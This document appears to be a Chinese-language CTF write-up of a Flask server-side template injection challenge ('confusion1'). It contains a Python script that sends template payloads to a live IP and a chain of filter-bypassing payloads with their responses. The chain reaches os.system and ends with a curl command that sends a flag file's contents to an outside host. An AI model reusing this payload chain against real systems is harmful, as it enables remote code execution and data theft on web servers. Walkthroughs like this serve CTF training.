confusion1的描述:One day, Bob said "PHP is the best
language!", but Alice didn't agree it, so Alice write a website to proof
it. She published it before finish it but I find something WRONG at some
page.(Please DO NOT use scanner!)
洞很好找,但绕过确实花了我蛮久的... flask的ssti 源码里获得提示:
import requests import re while1: temp=input() r=requests.get("http://47.96.118.255:2333/{{"+temp+"}}") res=re.findall(r'The requested URL .+ was not found on this server',r.text) if res: print(res[0].replace('<','<').replace('>',">").replace(''',"'")) else: print(r.text)
request The requested URL /<Request 'http://47.96.118.255:2333/{{request}}' [GET]> was not found on this server request["__clas"+"s__"] The requested URL /<class 'flask.wrappers.Request'> was not found on this server request["__clas"+"s__"].__bases__ The requested URL /(<class 'werkzeug.wrappers.Request'>, <class 'flask.wrappers.JSONMixin'>) was not found on this server request["__clas"+"s__"].__bases__[0].__bases__ The requested URL /(<class 'werkzeug.wrappers.BaseRequest'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'werkzeug.wrappers.ETagRequestMixin'>, <class 'werkzeug.wrappers.UserAgentMixin'>, <class 'werkzeug.wrappers.AuthorizationMixin'>, <class 'werkzeug.wrappers.CommonRequestDescriptorsMixin'>) was not found on this server request["__clas"+"s__"].__bases__[0].__bases__[0].__bases__ The requested URL /(<type 'object'>,) was not found on this server request["__clas"+"s__"].__bases__[0].__bases__[0].__bases__[0] The requested URL /<type 'object'> was not found on this server request["__clas"+"s__"].__bases__[0].__bases__[0].__bases__[0]["__subcla"+"ss__"] The requested URL / was not found on this server request["__clas"+"s__"].__bases__[0].__bases__[0].__bases__[0]["__subcla"+"sses__"] The requested URL /<built-in method __subclasses__ of type object at 0x7ff87ae16c40> was not found on this server request["__clas"+"s__"].__bases__[0].__bases__[0].__bases__[0]["__subcla"+"sses__"]()[40] The requested URL /<type 'file'> was not found on this server request["__clas"+"s__"].__bases__[0].__bases__[0].__bases__[0]["__subcla"+"sses__"]()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12].__getattribute__('s'+'ystem')('curl http://119.28.22.85/`tac /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt`') The requested URL /0 was not found on this server